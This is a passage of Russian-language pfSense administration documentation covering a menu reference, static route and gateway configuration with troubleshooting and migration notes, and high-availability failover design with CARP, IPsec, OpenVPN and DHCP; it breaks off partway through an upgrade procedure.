| SNMP | Services > SNMP | Настройка SNMP-агента для мониторинга системы внешними NMS |
| UPnP & NAT-PMP | Services > UPnP & NAT-PMP | Автоматическое создание правил NAT по запросу приложений (игры, торренты) |
| Wake-on-LAN | Services > Wake-on-LAN | Отправка WoL-пакетов для удалённого включения устройств в сети |

## VPN

Меню VPN содержит настройки всех поддерживаемых типов VPN-подключений.

| Пункт меню | Путь | Описание |
|---|---|---|
| IPsec | VPN > IPsec | Настройка [IPsec VPN](/docs/pfsense/vpn/ipsec/) - туннели Phase 1/Phase 2, мобильные клиенты |
| L2TP | VPN > L2TP | Настройка L2TP VPN-сервера (обычно используется совместно с IPsec) |
| OpenVPN | VPN > OpenVPN | Настройка [OpenVPN](/docs/pfsense/vpn/openvpn/) - серверы, клиенты, site-to-site и remote access |
| WireGuard | VPN > WireGuard | Настройка [WireGuard VPN](/docs/pfsense/vpn/wireguard/) - туннели, пиры, генерация ключей |

## Status

Меню Status предоставляет информацию о текущем состоянии системы и всех её компонентов.

| Пункт меню | Путь | Описание |
|---|---|---|
| CARP (failover) | Status > CARP (failover) | Состояние виртуальных IP-адресов CARP и статус [отказоустойчивого кластера](/docs/pfsense/high-availability/) |
| Dashboard | Status > Dashboard | Главная панель мониторинга с виджетами (загрузка CPU, память, трафик, сервисы) |
| DHCP Leases | Status > DHCP Leases | Список активных и статических DHCP-аренд по интерфейсам |
| Filter Reload | Status > Filter Reload | Состояние и принудительная перезагрузка фильтров пакетного файрвола pf |
| Gateways | Status > Gateways | Состояние шлюзов, RTT, потери пакетов, статус мониторинга |
| Interfaces | Status > Interfaces | Состояние всех сетевых интерфейсов (IP, MAC, статистика, скорость) |
| IPsec | Status > IPsec | Состояние IPsec-туннелей Phase 1 и Phase 2, статус SA |
| Logs | Status > Logs | Системные журналы: System, Firewall, DHCP, DNS, VPN, Gateway, Routing и другие |
| Monitoring | Status > Monitoring | Графики RRD: трафик, качество канала, использование системных ресурсов |
| NTP | Status > NTP | Состояние NTP-синхронизации и список используемых серверов времени |
| OpenVPN | Status > OpenVPN | Состояние OpenVPN-серверов и подключённых клиентов |
| Queues | Status > Queues | Статистика очередей шейпера трафика (ALTQ) |
| Services | Status > Services | Список всех сервисов с индикацией статуса (запущен/остановлен) |
| Traffic Graph | Status > Traffic Graph | Графики трафика в реальном времени по интерфейсам |
| UPnP & NAT-PMP | Status > UPnP & NAT-PMP | Список текущих правил NAT, созданных через UPnP |
| WireGuard | Status > WireGuard | Состояние WireGuard-туннелей, подключённые пиры, handshake, трафик |

## Diagnostics

Меню Diagnostics содержит инструменты диагностики, резервного копирования и управления системой.

| Пункт меню | Путь | Описание |
|---|---|---|
| ARP Table | Diagnostics > ARP Table | Таблица ARP - соответствие IP-адресов MAC-адресам в локальных сетях |
| Authentication | Diagnostics > Authentication | Тестирование аутентификации пользователей через настроенные серверы (LDAP, RADIUS) |
| Backup & Restore | Diagnostics > Backup & Restore | [Резервное копирование](/docs/pfsense/backup/pfsense-backup-recovery/) и восстановление конфигурации (XML) |
| Command Prompt | Diagnostics > Command Prompt | Выполнение shell-команд и PHP-кода через веб-интерфейс |
| DNS Lookup | Diagnostics > DNS Lookup | Выполнение DNS-запросов для диагностики разрешения имён |
| Edit File | Diagnostics > Edit File | Редактирование файлов на файловой системе через веб-интерфейс |
| Factory Defaults | Diagnostics > Factory Defaults | Сброс конфигурации к заводским настройкам |
| Halt System | Diagnostics > Halt System | Корректное выключение системы pfSense |
| Limiter Info | Diagnostics > Limiter Info | Информация о настроенных лимитерах и их текущем состоянии |
| NDP Table | Diagnostics > NDP Table | Таблица NDP (Neighbor Discovery Protocol) для IPv6-соседей |
| Packet Capture | Diagnostics > Packet Capture | Захват сетевых пакетов (tcpdump) на выбранном интерфейсе с фильтрацией |
| pfInfo | Diagnostics > pfInfo | Статистика пакетного фильтра pf (счётчики, состояния, таблицы) |
| pfTop | Diagnostics > pfTop | Активные соединения пакетного фильтра в реальном времени (аналог top для pf) |
| Ping | Diagnostics > Ping | Отправка ICMP-запросов для проверки доступности узлов |
| Reboot | Diagnostics > Reboot | Перезагрузка системы pfSense |
| Routes | Diagnostics > Routes | Таблица маршрутизации системы (IPv4 и IPv6) |
| S.M.A.R.T. Status | Diagnostics > S.M.A.R.T. Status | Состояние накопителей по данным S.M.A.R.T. (здоровье диска) |
| Sockets | Diagnostics > Sockets | Список открытых сетевых сокетов (прослушиваемые порты и соединения) |
| States | Diagnostics > States | Таблица состояний пакетного фильтра (активные соединения, NAT-трансляции) |
| States Summary | Diagnostics > States Summary | Сводка по состояниям файрвола (группировка по IP, портам, протоколам) |
| System Activity | Diagnostics > System Activity | Активность процессов системы (аналог команды top) |
| Tables | Diagnostics > Tables | Содержимое таблиц pf (bogons, snort2c, virusprot и пользовательские таблицы) |
| Traceroute | Diagnostics > Traceroute | Трассировка маршрута до указанного узла |


---

# Статические маршруты в pfSense - настройка и управление

Source: https://opennix.org/docs/pfsense/routing/pfsense-static-routes/


Статические маршруты в pfSense обеспечивают доставку трафика к сетям, доступным через маршрутизаторы, отличные от шлюза по умолчанию. Без статического маршрута pfSense направляет весь трафик, не принадлежащий непосредственно подключённым подсетям, через default gateway, что приводит к недоступности удалённых сетей за внутренними маршрутизаторами.

Статическая маршрутизация применяется в следующих сценариях: подключение удалённых подсетей через внутренний маршрутизатор, маршрутизация трафика к VPN-сетям, доступ к сетям филиалов через выделенные каналы и управление трафиком между сегментами с несколькими точками выхода.

## Предварительные требования

Перед созданием статического маршрута необходимо выполнить следующие условия:

- **Шлюз создан**. Маршрутизатор, через который доступна целевая сеть, должен быть зарегистрирован как шлюз в разделе **System > Routing > Gateways**. pfSense не позволяет создать маршрут, указывающий на несуществующий шлюз.
- **IP-адрес шлюза доступен**. Адрес шлюза должен находиться в подсети одного из интерфейсов pfSense. Шлюз на адресе 10.0.1.1 требует наличия интерфейса с адресом из сети 10.0.1.0/24.
- **Маршрутизатор знает обратный путь**. Внутренний маршрутизатор, выступающий шлюзом, должен иметь маршрут обратно к сетям pfSense. В противном случае пакеты достигнут целевой сети, но ответы не вернутся.

## Создание шлюза

Перед добавлением статического маршрута необходимо создать шлюз, через который доступна целевая сеть. Шлюзы настраиваются в разделе **System > Routing > Gateways**.

### Параметры шлюза

Для создания шлюза следует нажать кнопку **Add** и заполнить следующие поля:

**Interface** - интерфейс pfSense, через который доступен маршрутизатор-шлюз. Для внутренних маршрутизаторов обычно указывается LAN или OPT-интерфейс. Для внешних каналов - WAN или дополнительный WAN-интерфейс.

**Address Family** - семейство адресов: IPv4 или IPv6. Определяется адресацией целевой сети.

**Name** - уникальное имя шлюза. Допускаются латинские буквы, цифры и символ подчёркивания. Пробелы и специальные символы запрещены. Рекомендуется использовать информативные имена, отражающие назначение шлюза (например, `INTERNAL_ROUTER_DC1`, `VPN_GW_BRANCH`).

**Gateway** - IP-адрес маршрутизатора следующего хопа. Адрес должен принадлежать подсети указанного интерфейса.

**Gateway Monitoring** - включение мониторинга доступности шлюза. По умолчанию pfSense проверяет доступность шлюза с помощью ICMP-запросов через демон dpinger.

**Monitor IP** - альтернативный IP-адрес для проверки доступности. По умолчанию используется адрес самого шлюза. Указание адреса за пределами шлюза (например, публичного DNS 8.8.8.8) позволяет проверять не только доступность маршрутизатора, но и наличие связи через него. Для внутренних шлюзов рекомендуется использовать адрес хоста в целевой сети.

**Description** - текстовое описание назначения шлюза.

### Расширенные параметры мониторинга

Кнопка **Display Advanced** открывает дополнительные параметры dpinger:

| Параметр | Значение по умолчанию | Описание |
|---|---|---|
| Weight | 1 | Вес шлюза при балансировке нагрузки в Gateway Group (1-30) |
| Data Payload | 1 байт | Размер полезной нагрузки ICMP-пакета |
| Latency Warning | 200 мс | Порог задержки для предупреждения |
| Latency Down | 500 мс | Порог задержки для признания шлюза недоступным |
| Loss Warning | 10% | Порог потери пакетов для предупреждения |
| Loss Down | 20% | Порог потери пакетов для признания шлюза недоступным |
| Probe Interval | 500 мс | Интервал отправки ICMP-запросов |
| Time Period | 60 сек | Окно усреднения результатов мониторинга |

> **Внимание**:
>
> Для внутренних шлюзов со стабильным соединением допустимо увеличить пороги задержки и потери пакетов, чтобы избежать ложных срабатываний. Для WAN-шлюзов значения по умолчанию подходят в большинстве случаев.

### Пример: шлюз для внутреннего маршрутизатора

Допустим, в сети присутствует маршрутизатор с адресом 10.0.1.1 на интерфейсе LAN (подсеть 10.0.1.0/24). За этим маршрутизатором расположены подсети 10.10.0.0/16 и 10.20.0.0/16.

Параметры шлюза:

| Поле | Значение |
|---|---|
| Interface | LAN |
| Address Family | IPv4 |
| Name | INTERNAL_ROUTER_DC1 |
| Gateway | 10.0.1.1 |
| Monitor IP | 10.10.0.1 |
| Description | Internal router to DC1 subnets |

## Создание статического маршрута

Статические маршруты настраиваются в разделе **System > Routing > Static Routes**. Для добавления нового маршрута следует нажать кнопку **Add**.

### Параметры маршрута

**Destination network** - сеть назначения в формате CIDR. Указывается адрес сети и маска подсети. Примеры: `10.10.0.0/16`, `172.16.5.0/24`, `192.168.100.0/24`. Поддерживаются IPv4-адреса, IPv6-адреса и алиасы pfSense.

**Gateway** - шлюз, через который доступна указанная сеть. Выбирается из списка предварительно созданных шлюзов. Семейство адресов шлюза должно соответствовать семейству адресов сети назначения.

**Disabled** - флаг отключения маршрута. Позволяет сохранить конфигурацию маршрута без его активации в таблице маршрутизации.

**Description** - текстовое описание назначения маршрута. Рекомендуется указывать, какие сервисы или подразделения используют данный маршрут.

### Пример: маршрут к подсети за внутренним маршрутизатором

Используя шлюз INTERNAL_ROUTER_DC1, созданный в предыдущем разделе, настроим маршрут к подсети серверов 10.10.0.0/16:

| Поле | Значение |
|---|---|
| Destination network | 10.10.0.0/16 |
| Gateway | INTERNAL_ROUTER_DC1 - 10.0.1.1 |
| Disabled | не установлен |
| Description | DC1 server subnet via internal router |

После сохранения и применения изменений (**Save**, затем **Apply Changes**) pfSense добавляет маршрут в системную таблицу маршрутизации.

### Пример: маршрут к VPN-сети

При использовании VPN-концентратора, отличного от встроенного VPN pfSense, трафик к удалённым VPN-подсетям необходимо направлять через адрес VPN-устройства:

| Поле | Значение |
|---|---|
| Destination network | 172.16.0.0/12 |
| Gateway | VPN_CONCENTRATOR - 10.0.1.5 |
| Disabled | не установлен |
| Description | Remote office subnets via VPN concentrator |

## Выбор шлюза по умолчанию

Шлюз по умолчанию (default gateway) определяет маршрут для всего трафика, не совпавшего с явными записями в таблице маршрутизации. Настройка выполняется на вкладке **Default Gateway** в разделе **System > Routing > Gateways**.

pfSense позволяет назначить отдельные шлюзы по умолчанию для IPv4 и IPv6. При наличии нескольких WAN-интерфейсов следует явно указать основной шлюз. Если шлюз по умолчанию не назначен, pfSense использует первый доступный WAN-шлюз.

> **Внимание**:
>
> Изменение шлюза по умолчанию влияет на весь исходящий трафик pfSense, включая обновления пакетов, DNS-запросы самого файрвола и трафик управления. Перед изменением необходимо убедиться в доступности нового шлюза.

## Просмотр таблицы маршрутизации

Текущую таблицу маршрутизации можно просмотреть в разделе **Diagnostics > Routes**. Интерфейс отображает все активные маршруты, включая подключённые сети, статические маршруты и маршруты, полученные динамически.

Таблица содержит следующие столбцы:

| Столбец | Описание |
|---|---|
| Destination | Сеть назначения |
| Gateway | Адрес следующего хопа или интерфейс |
| Flags | Флаги маршрута (U - up, G - gateway, S - static, H - host) |
| Refs | Количество активных ссылок на маршрут |
| Use | Количество пакетов, использовавших маршрут |
| Netif | Сетевой интерфейс, через который направляется трафик |

Для фильтрации таблицы доступно поле поиска, позволяющее найти маршруты по адресу сети или интерфейсу. При большом количестве маршрутов фильтрация существенно ускоряет диагностику.

### Просмотр таблицы через командную строку

При доступе к консоли pfSense (SSH или физическая консоль) таблицу маршрутизации можно просмотреть командой:

```bash
netstat -rn
```

Для отображения только IPv4-маршрутов:

```bash
netstat -rn -f inet
```

Для отображения только IPv6-маршрутов:

```bash
netstat -rn -f inet6
```

Команда `route get` позволяет определить маршрут для конкретного адреса назначения:

```bash
route get 10.10.0.1
```

Вывод включает адрес шлюза, интерфейс, флаги маршрута и MTU.

## Мониторинг шлюзов

pfSense непрерывно контролирует доступность шлюзов с помощью демона dpinger. Состояние шлюзов отображается на виджете **Gateways** на главной странице (Dashboard) и в разделе **Status > Gateways**.

Каждый шлюз отображает следующие метрики:

| Метрика | Описание |
|---|---|
| RTT | Среднее время отклика (round-trip time) в миллисекундах |
| RTTsd | Стандартное отклонение времени отклика |
| Loss | Процент потерянных пакетов |
| Status | Текущий статус: Online, Warning, Down, Gathering Data |

Статус **Gathering Data** отображается в течение первых 60 секунд после запуска или перезапуска демона dpinger. В этот период данных мониторинга недостаточно для оценки состояния.

При превышении пороговых значений задержки или потери пакетов шлюз переходит в состояние **Warning** или **Down**. Переход в состояние Down влияет на Gateway Groups и может вызвать автоматическое переключение трафика на резервный шлюз.

## Диагностика и устранение неполадок

### Маршрут не работает

Если после создания статического маршрута трафик не достигает целевой сети, необходимо последовательно проверить следующие аспекты:

1. **Маршрут присутствует в таблице**. Открыть **Diagnostics > Routes** и убедиться, что маршрут отображается с корректным шлюзом и интерфейсом. Если маршрут отсутствует, проверить, применены ли изменения (кнопка **Apply Changes**).

2. **Шлюз доступен**. Проверить состояние шлюза в **Status > Gateways**. Если статус Down или Gathering Data, выполнить ping шлюза из консоли pfSense: **Diagnostics > Ping**, указав адрес шлюза и исходный интерфейс.

3. **Обратный маршрут существует**. На внутреннем маршрутизаторе должен быть маршрут обратно к подсетям pfSense. Без обратного маршрута пакеты достигают назначения, но ответы теряются.

4. **Правила файрвола разрешают трафик**. Статический маршрут обеспечивает доставку на сетевом уровне, но правила файрвола могут блокировать трафик. Проверить правила на исходном и целевом интерфейсах.

5. **ARP-таблица содержит запись для шлюза**. Открыть **Diagnostics > ARP Table** и убедиться, что для IP-адреса шлюза существует запись с корректным MAC-адресом.

### Асимметричная маршрутизация

Асимметричная маршрутизация возникает, когда трафик от источника к назначению проходит через pfSense, а обратный трафик возвращается другим путём, минуя файрвол. pfSense, работающий как stateful firewall, отбрасывает обратные пакеты, поскольку они не соответствуют существующим записям в таблице состояний.

Признаки асимметричной маршрутизации:

- Односторонняя связь: ping проходит в одну сторону, но ответ не приходит
- TCP-соединения устанавливаются, но передача данных прерывается
- В логах файрвола отображаются заблокированные пакеты с флагом TCP ACK без предшествующего SYN

Решения:

- **Исправить маршрутизацию**. Оптимальный подход - настроить маршруты так, чтобы трафик в обоих направлениях проходил через pfSense. На внутренних маршрутизаторах добавить маршруты, направляющие обратный трафик через pfSense.

- **Включить обход для трафика на одном интерфейсе**. В разделе **System > Advanced > Firewall & NAT** установить флаг **Bypass firewall rules for traffic on the same interface**. Это отключает stateful-проверку для трафика, входящего и выходящего через один интерфейс.

- **Использовать Sloppy State**. На правилах файрвола, затронутых асимметричной маршрутизацией, установить State Type в значение **Sloppy State**. Этот режим ослабляет проверку состояния TCP-соединений.

> **Внимание**:
>
> Обход stateful-проверки снижает уровень безопасности. Применять данные решения следует только при невозможности исправить асимметричную маршрутизацию на уровне сетевой топологии.

### Шлюз недоступен

Если шлюз отображается со статусом Down:

1. Проверить физическое подключение к маршрутизатору-шлюзу.
2. Убедиться, что маршрутизатор отвечает на ICMP-запросы. Некоторые устройства блокируют ping по умолчанию - в таком случае следует изменить Monitor IP на адрес хоста, гарантированно отвечающего на ICMP.
3. Проверить ARP-таблицу на наличие записи для шлюза.
4. Убедиться, что IP-адрес шлюза находится в подсети интерфейса pfSense.
5. Проверить, не конфликтует ли адрес шлюза с другими устройствами в сети.

## Управление маршрутами

В разделе **System > Routing > Static Routes** доступны следующие действия:

- **Редактирование** - изменение параметров существующего маршрута (значок карандаша)
- **Клонирование** - создание копии маршрута с возможностью изменения параметров (значок клонирования)
- **Удаление** - удаление маршрута из конфигурации (значок корзины)
- **Отключение** - деактивация маршрута без удаления (значок запрета)
- **Включение** - активация ранее отключённого маршрута (значок галочки)

> **Внимание**:
>
> При использовании алиасов pfSense в поле Destination network редактирование алиаса немедленно обновляет таблицу маршрутизации без ожидания подтверждения от администратора. Следует учитывать это при управлении алиасами, используемыми в маршрутах.

## Миграция с других платформ

### Cisco IOS

В Cisco IOS статические маршруты добавляются командой `ip route`:

```
ip route 10.10.0.0 255.255.0.0 10.0.1.1
ip route 10.20.0.0 255.255.0.0 10.0.1.1
```

Эквивалент в pfSense:

1. Создать шлюз с адресом 10.0.1.1 в **System > Routing > Gateways**.
2. Создать два статических маршрута в **System > Routing > Static Routes**:
   - Destination: `10.10.0.0/16`, Gateway: созданный шлюз
   - Destination: `10.20.0.0/16`, Gateway: созданный шлюз

Ключевые отличия от Cisco IOS:

| Аспект | Cisco IOS | pfSense |
|---|---|---|
| Шлюз | Указывается в команде маршрута | Создаётся отдельно, затем выбирается в маршруте |
| Маска подсети | Обратная маска (wildcard) или обычная | CIDR-нотация (/16, /24) |
| Административная дистанция | Настраивается для каждого маршрута | Не поддерживается |
| Привязка к интерфейсу | Опционально через `ip route ... GigabitEthernet0/1` | Определяется интерфейсом шлюза |
| Применение | Немедленное (running-config) | Требуется Apply Changes |

### MikroTik RouterOS

В MikroTik маршруты добавляются через `/ip route`:

```
/ip route add dst-address=10.10.0.0/16 gateway=10.0.1.1
/ip route add dst-address=10.20.0.0/16 gateway=10.0.1.1 distance=10
```

Эквивалент в pfSense аналогичен описанному выше. Ключевые отличия:

| Аспект | MikroTik RouterOS | pfSense |
|---|---|---|
| Шлюз | Указывается в маршруте, создаётся автоматически | Создаётся вручную заранее |
| Distance (метрика) | Настраивается для каждого маршрута | Не поддерживается для статических маршрутов |
| Routing mark | Поддерживается для PBR | Реализуется через правила файрвола |
| Проверка шлюза | `check-gateway=ping` | Встроенный мониторинг dpinger |
| Области маршрутизации | Routing tables и VRF | Не поддерживается |

### FortiGate

В FortiGate статические маршруты создаются в разделе **Network > Static Routes** или через CLI:

```
config router static
    edit 1
        set dst 10.10.0.0 255.255.0.0
        set gateway 10.0.1.1
        set device "port2"
    next
end
```

Ключевые отличия:

| Аспект | FortiGate | pfSense |
|---|---|---|
| Шлюз | Указывается в маршруте вместе с интерфейсом | Создаётся как отдельная сущность |
| Priority | Настраивается для каждого маршрута | Не поддерживается |
| Health check | Link monitor через ICMP/HTTP | dpinger через ICMP |
| ECMP | Несколько маршрутов с одинаковым priority | Gateway Groups |
| SDWAN | Встроенная поддержка SD-WAN | Реализуется через Gateway Groups и PBR |

## Рекомендации по проектированию

При планировании статической маршрутизации в pfSense следует учитывать следующие рекомендации:

- **Использовать агрегированные маршруты**. Вместо множества маршрутов /24 к подсетям одного сегмента следует создать один суммарный маршрут. Например, вместо восьми маршрутов к 10.10.0.0/24 - 10.10.7.0/24 достаточно одного маршрута 10.10.0.0/21.

- **Документировать каждый маршрут**. Поле Description следует заполнять информацией о назначении маршрута, связанных сервисах и ответственном подразделении. Это существенно упрощает диагностику в крупных инсталляциях.

- **Проверять обратные маршруты**. Каждый статический маршрут предполагает наличие обратного маршрута на стороне целевого маршрутизатора. Отсутствие обратного маршрута - наиболее распространённая причина недоступности при корректно настроенном прямом маршруте.

- **Учитывать влияние на правила файрвола**. Статический маршрут определяет путь пакета, но не разрешает трафик. Для каждого нового маршрута необходимо убедиться в наличии соответствующих правил файрвола на интерфейсах, через которые проходит трафик.

- **Планировать мониторинг**. Для критичных маршрутов следует настроить Monitor IP на адрес хоста в целевой сети, а не на адрес промежуточного маршрутизатора. Это позволяет обнаружить проблемы не только с ближайшим шлюзом, но и с доступностью конечной сети.

## Связанные разделы

- [Policy Routing](/docs/pfsense/routing/pfsense-policy-routing/) - маршрутизация трафика на основе правил файрвола, использование Gateway Groups
- [Multi-WAN в pfSense](/docs/pfsense/multi-wan/) - настройка нескольких WAN-подключений с отказоустойчивостью и балансировкой
- [Файрвол pfSense](/docs/pfsense/firewall/) - правила фильтрации, влияющие на прохождение трафика по статическим маршрутам


---

# Сценарии отказоустойчивости pfSense - проектирование HA

Source: https://opennix.org/docs/pfsense/high-availability/pfsense-failover-scenarios/


Проектирование отказоустойчивого кластера pfSense требует учёта топологии сети, используемых сервисов и допустимого времени простоя. pfSense поддерживает кластеры из двух узлов в конфигурации active/passive. Каждый сценарий отказоустойчивости имеет свои особенности конфигурации, ограничения и порядок тестирования. В данном разделе рассмотрены типовые архитектуры HA-кластеров, процедуры планового и аварийного переключения, а также интеграция с дополнительными сервисами.

## Топология Active/Passive

Active/passive - единственная официально поддерживаемая конфигурация HA-кластера pfSense. В этой схеме один узел (master) обрабатывает весь сетевой трафик, а второй узел (backup) находится в режиме горячего резерва, готовый принять нагрузку при отказе primary.

### Принцип работы

Primary-узел владеет всеми CARP VIP и обрабатывает трафик. Secondary-узел получает обновления таблицы состояний через pfsync и конфигурации через XMLRPC. При потере heartbeat-сигналов от primary secondary повышает свой статус до master по каждому CARP VIP и начинает обрабатывать трафик.

Время переключения (failover time) определяется параметрами Advertising Frequency в настройках CARP:

| Параметр | Значение | Влияние на failover |
|---|---|---|
| Base | 1 (по умолчанию) | Базовый интервал heartbeat в секундах |
| Skew primary | 0 | Минимальная задержка - primary отправляет heartbeat первым |
| Skew secondary | 100 | Дополнительная задержка 100/256 секунды |
| Время обнаружения отказа | ~3 x (base + skew/256) | Примерно 3 секунды при стандартных настройках |

При стандартных параметрах backup-узел обнаруживает отказ primary примерно за 3 секунды и принимает роль master. Существующие TCP-сессии сохраняются благодаря pfsync - клиенты сети не замечают переключения за исключением кратковременной задержки.

### Стандартная схема

```
                    Internet
                       |
                   [ISP Router]
                       |
              -------- WAN --------
              |                   |
         [Primary]           [Secondary]
         master               backup
              |                   |
              -------- LAN --------
              |                   |
         [LAN Switch]        [LAN Switch]
              |
         [Clients]
              |
         ---- Sync (172.16.1.0/24) ----
```

В стандартной схеме оба узла подключены к одному WAN-сегменту и одному LAN-сегменту. Sync-интерфейс соединяет узлы напрямую. CARP VIP назначены на WAN и LAN интерфейсах. Клиенты используют LAN CARP VIP в качестве шлюза по умолчанию.

### Требования к инфраструктуре

| Компонент | Требование |
|---|---|
| Коммутатор LAN | Поддержка multicast, нескольких MAC-адресов на порту |
| Коммутатор WAN | Поддержка multicast или unicast CARP |
| IP-адреса WAN | Минимум 3 (primary, secondary, CARP VIP) |
| IP-адреса LAN | Минимум 3 (primary, secondary, CARP VIP) |
| Sync-линк | Выделенный интерфейс с прямым подключением |
| Версия pfSense | Одинаковая на обоих узлах |

## Active/Passive с Multi-WAN

Кластер pfSense с несколькими WAN-подключениями обеспечивает отказоустойчивость как на уровне каналов связи, так и на уровне оборудования. Каждый WAN-интерфейс требует собственного набора CARP VIP.

### Схема с двумя WAN

```
         ISP1              ISP2
          |                  |
     [Router1]          [Router2]
          |                  |
     --- WAN1 ---       --- WAN2 ---
     |          |       |          |
  [Primary]  [Secondary]
     |          |
     --- LAN ---
     |
  [Clients]
```

### Особенности конфигурации

При multi-WAN HA необходимо создать CARP VIP на каждом WAN-интерфейсе:

| Интерфейс | Primary | Secondary | CARP VIP | VHID |
|---|---|---|---|---|
| WAN1 | 198.51.100.201/24 | 198.51.100.202/24 | 198.51.100.200/24 | 200 |
| WAN2 | 203.0.113.201/24 | 203.0.113.202/24 | 203.0.113.200/24 | 210 |
| LAN | 192.168.1.2/24 | 192.168.1.3/24 | 192.168.1.1/24 | 1 |

Правила исходящего NAT должны быть настроены отдельно для каждого WAN-интерфейса с указанием соответствующего CARP VIP в качестве адреса трансляции.

### Gateway Groups в HA

Multi-WAN gateway groups работают корректно в HA-конфигурации при соблюдении следующих условий:

- Шлюзы (gateways) должны мониторить доступность через индивидуальные IP-адреса узлов, а не через CARP VIP
- Policy routing правила, использующие gateway groups, синхронизируются через XMLRPC
- При failover на secondary gateway groups продолжают работать с той же логикой приоритетов

> **Внимание**:
>
> При использовании gateway groups с параметром Tier для балансировки нагрузки между WAN-каналами необходимо убедиться, что оба WAN-интерфейса физически доступны с обоих узлов кластера. Потеря одного WAN-канала на secondary-узле при failover приведёт к переключению всего трафика на оставшийся канал.

## HA с IPsec VPN

Интеграция IPsec-туннелей с HA-кластером требует особого подхода к конфигурации. Ключевое требование - все IPsec-туннели должны быть привязаны к CARP VIP, а не к индивидуальным адресам узлов.

### Конфигурация IPsec для HA

При настройке Phase 1 (IKE) необходимо указать CARP VIP в качестве **My identifier** и **Interface**:

| Параметр | Значение | Описание |
|---|---|---|
| Interface | WAN CARP VIP | Привязка к виртуальному адресу |
| My identifier | IP address: 198.51.100.200 | CARP VIP адрес WAN |
| Peer identifier | IP-адрес удалённой стороны | Адрес партнёра VPN |

При переключении на backup-узел IPsec-туннель переустанавливается автоматически, поскольку CARP VIP мигрирует вместе с ролью master. Удалённая сторона продолжает обращаться к тому же IP-адресу (CARP VIP), и IKE-согласование происходит заново.

### Время восстановления IPsec

В отличие от обычного TCP/UDP-трафика, IPsec-туннели не сохраняются при failover полностью. Хотя pfsync реплицирует состояния, IKE SA (Security Association) требует повторного согласования:

| Этап | Примерное время |
|---|---|
| Обнаружение отказа (CARP) | ~3 секунды |
| Миграция CARP VIP | Мгновенно |
| IKE Phase 1 переустановка | 2-5 секунд |
| IKE Phase 2 переустановка | 1-2 секунды |
| Полное восстановление туннеля | 6-10 секунд |

Для минимизации простоя IPsec при failover рекомендуется использовать DPD (Dead Peer Detection) на удалённой стороне с агрессивными таймерами (например, интервал 10 секунд, 3 попытки).

### Несколько IPsec-туннелей

При наличии нескольких IPsec-туннелей каждый из них должен быть привязан к CARP VIP. Все туннели синхронизируются через XMLRPC при включённом флаге IPsec в области синхронизации. После failover каждый туннель восстанавливается независимо - некоторые могут восстановиться быстрее других в зависимости от настроек DPD на удалённых сторонах.

## HA с OpenVPN

OpenVPN-серверы и клиенты в HA-кластере также требуют привязки к CARP VIP. Поведение OpenVPN при failover отличается от IPsec и зависит от используемого протокола (UDP или TCP) и режима (tun или tap).

### Конфигурация OpenVPN Server для HA

При создании OpenVPN-сервера необходимо указать:

| Параметр | Значение |
|---|---|
| Interface | WAN CARP VIP или LAN CARP VIP |
| Local port | Стандартный порт (1194 или другой) |

Конфигурация OpenVPN синхронизируется через XMLRPC при включённом флаге OpenVPN.

### Поведение при failover

| Режим | Протокол | Поведение при failover |
|---|---|---|
| tun + UDP | UDP | Клиенты переподключаются автоматически через keepalive |
| tun + TCP | TCP | Требуется переподключение клиентов (TCP-сессия теряется) |
| tap + UDP | UDP | Клиенты переподключаются, L2-состояние восстанавливается |

Для наилучшей совместимости с HA рекомендуется использовать режим tun с протоколом UDP. В этом случае клиенты OpenVPN автоматически обнаруживают потерю связи через механизм keepalive и переподключаются к CARP VIP, который уже обслуживается backup-узлом.

> **Внимание**:
>
> Сертификаты OpenVPN должны быть синхронизированы через XMLRPC (флаг Certificates, CAs). Если сертификаты различаются между узлами, клиенты не смогут подключиться к backup-узлу после failover.

## HA с DHCP-сервером

DHCP-сервер в HA-кластере требует особого внимания для предотвращения конфликтов адресов при split-brain сценариях.

### Стандартная конфигурация

В стандартной конфигурации DHCP-сервер привязан к LAN-интерфейсу и выдаёт адреса из единого пула. Клиенты обращаются к CARP VIP (который является их шлюзом по умолчанию), и DHCP-ответы отправляются от master-узла.

При failover DHCP-сервер на backup-узле активируется и продолжает выдачу адресов. Поскольку конфигурация DHCP синхронизирована через XMLRPC, backup-узел использует тот же пул адресов.

### Предотвращение конфликтов

Для предотвращения дублирования адресов при split-brain рекомендуется одна из следующих стратегий:

| Стратегия | Описание | Пример |
|---|---|---|
| Разделение пула | Каждый узел обслуживает свою часть диапазона | Primary: .100-.199, Secondary: .200-.249 |
| DHCP Failover Peer | ISC DHCP встроенный механизм failover | Автоматическое разделение lease |
| Короткий lease time | Минимизация окна конфликта | Lease 1 час вместо 24 |

При разделении пула необходимо отключить синхронизацию DHCP Server в настройках XMLRPC и сконфигурировать диапазоны вручную на каждом узле.

### Статические DHCP-привязки

Статические DHCP-привязки (static mappings) синхронизируются через XMLRPC вместе с остальной конфигурацией DHCP. Эти привязки не создают конфликтов при split-brain, поскольку каждый MAC-адрес привязан к фиксированному IP-адресу.

## Процедура планового переключения

Плановое переключение (maintenance failover) выполняется при необходимости обслуживания primary-узла - обновление pfSense, замена оборудования, диагностика.

### Пошаговая процедура

1. **Подготовка**: убедиться, что secondary-узел полностью синхронизирован
   - Проверить **Status > CARP (failover)** - все VIP должны показывать MASTER на primary и BACKUP на secondary
   - Убедиться в отсутствии ошибок синхронизации в журнале

2. **Переключение на secondary**: на primary-узле перейти в **Status > CARP (failover)** и нажать **Enter Persistent CARP Maintenance Mode**
   - Все CARP VIP переходят в состояние BACKUP на primary
   - Secondary повышает статус до MASTER по всем VIP
   - Переключение занимает несколько секунд

3. **Верификация**: убедиться, что трафик обрабатывается secondary
   - На secondary проверить **Status > CARP (failover)** - все VIP должны быть в состоянии MASTER
   - Протестировать прохождение трафика через файрвол (веб-доступ, DNS, VPN)
   - Проверить работоспособность IPsec/OpenVPN туннелей

4. **Обслуживание primary**: выполнить необходимые работы на primary-узле
   - Обновление pfSense
   - Замена оборудования
   - Диагностика

5. **Возврат на primary**: на primary-узле выйти из maintenance mode через **Status > CARP (failover)** - нажать **Leave Persistent CARP Maintenance Mode**
   - Primary восстанавливает статус MASTER по всем VIP
   - Secondary возвращается в BACKUP

6. **Финальная проверка**: убедиться, что primary вернул роль MASTER и синхронизация работает корректно

> **Внимание**:
>
> Перед плановым переключением рекомендуется создать резервную копию конфигурации обоих узлов через **Diagnostics > Backup & Restore**. Это обеспечит возможность восстановления в случае непредвиденных проблем.

### Обновление pfSense в HA-кластере

При обновлении pfSense в HA-кластере необходимо соблюдать определённый порядок:

1. Создать резервные копии конфигурации обоих узлов
2. Перевести primary в maintenance mode (трафик переключится на secondary)
3. Обновить primary-узел
